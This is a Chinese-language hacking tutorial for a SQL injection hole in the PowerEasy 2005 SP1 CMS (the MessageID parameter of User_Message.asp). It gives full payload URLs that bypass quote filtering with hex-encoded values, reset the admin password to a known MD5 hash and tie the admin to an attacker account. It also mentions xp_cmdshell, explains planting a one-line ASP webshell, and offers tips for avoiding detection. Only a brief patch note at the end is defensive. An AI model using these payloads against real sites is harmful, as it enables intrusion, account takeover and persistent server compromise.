1,发现漏洞
影响版本:
标准版 SQL版
企业版 SQL版
学校版 SQL版
政府版 SQL版
全功能版 SQL版
免费access 版
所有版本(包括免费版、商业SQL版及Access版)
不被影响的版本:2005动易ASSESS版
漏洞文件:Admin目录下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
User 目录下 User_Message.asp
等级:严重
描述:
此漏洞影响全部SQL版,如果用SA连接数据库黑客可以拿到系统管理员权限。如果用普通用户连接最严重情况,可以备份脚本木马。一般情况可能改管理员登陆密码,从而达到黑客登陆动易后台。控制整个动易系统!
ACCESS版可以得到管理员md5密码!
主要问题在于 User_Message.asp
http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90;
MessageID 没有严格过滤,有注入漏洞。只过滤了 单引号, 这就能挡住聪明的黑客吗?
我们来看一下,User_Message.asp的源代码、
————————————————————————————————————
<!--#include file="User_CommonCode.asp"-->
<%
Call PE_Execute("PE_AdminCommon", "User_Message")
%>
——————————————————————————————————————
动易系统是不开放源代码的,User_Message.asp 源代码的意思就是调用 PE_AdminCommon.dll 中的 User_Message 函数。
有人可能要问了这样的漏洞怎么发现的呢?
像这样的文件 只能用分支测试法 给这个文件用到的全部变量 都测试一遍。这是很耗时的测试方法。
2,分析漏洞
源程序是不开放的,所以源程序没什么好分析的。
现在我们来这漏洞入侵动易2005 sp1系统。
首先分两个版来说
1,SQL版,
(1,发现注入点
User_Message.asp 文件中的 MessageID 没有严格过滤。
测试,加 单引号,
正常返回。如图一
加 ; ,加 --
都显示出错。
如图二:
看提示 就明白有注入点了,加单引号没用,应当是过滤了引号。没关系过滤了单引号 阻挡不了我们入侵的步伐。
估计 注入点基本形式是这样的 select * from pe_XXX where MessageID=(注入点)
我们想注入这样的文件,就要绕过单引号。
下面这样的代码 我们可以用它来绕过单引号。
declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a
上面这语句主要是用来绕过单引号。不过我们要改一下,
declare @a sysname
select @a=<command>
update pe_admin set password=@a where id=1--
); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--
完整的url
http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1--
这条语句是给后台的id=1的管理员密码改成 3。因为@a=0x3300 ,0x3300 是16进制的3.
执行成功之后如图3:
(3,得到管理员权限
分两步:
一,关联前台username
动易后台登陆 要关联前台用户。
先设置后台管理员的前台用户名,为我们注册的用户。
declare @a sysname
select @a=<command>
update pe_admin set username=@a where id=1--
说到这里,我要讲一下@a 如果改
比如我们注册的用户为111111
@a=0x310031003100310031003100
我怎么知道的呢?随便在网上找一个16进制转换器就知道了,
比如 用这个工具转换也行。
如图4
所以注入语句成了这样的
); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1--
二,改后台登陆的password
接着给后台密码改成我们的密码。我们就可以想办法登陆了。
declare @a sysname
select @a=<command>
update pe_admin set password=@a where id=1--
我们改后台密码,要改成已经加密的md5密码
比如我们提供一个,469e80d32c0559f8 这是admin888加密之后的MD5密码。
@a=0x3400360039006500380030006400330032006300300035003500390066003800
所以构造注入语句
); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1--
大家感觉很简单吧!一般我们不这么做,教程 写给新手看的,不能太难。
在真正的黑客行为中,如果给人家的后台密码改了,管理员登陆不上去。人家必然会发现的。
所以 给高手提供思路 自己研究一下。
比如
1,可以插入一个管理员 用完之后删除
2,可以先暴出管理员密码,用完之后,再还原。
(4,上传木马
1,rootclass_menu_config.asp 文件中的菜单其它特效 中插入一句话木马。
如图 5
插入一句话木马之后,你可以用客户端连接了。
2,给上传属性改成可以上传ASP类型。上传时抓包 给最后一个加上结束符。(类似于动网上传)
SQL版我只说这么多了,如果你上传不了木马,或者是找不到后台管理地址,来我们论坛提问吧!有我们有办法解决。 http://bbs.77169.com
2,ACCESS版
(1,如果发现漏洞
在测试免费版的动易系统之时,发现免费的ACCESS版动易用户控制面板没有 发送短消息的功能。
不过,动易留有相关接口,登陆用户控制面板 直接浏览 User_Message.asp 也可以注入.
(2,注入过程(略)
mssql和access 注入过程是点不一样的。基本相同,这也留给大家自己去测试吧。
三,解决方案
临时解决方案:
解决方案(临时):更新补丁包中的三个文件,并先删除user目录下的User_Message.asp文件。SP2正式版中将会修复此漏洞,请目前使用SP1的用户尽快打好此补丁。
补丁下载: http://download.asp163.net/PowerEasy2005SP1Patch.rar
感谢llikz、怪狗等网友对系统进行安全检测并无私提供相关漏洞信息!
……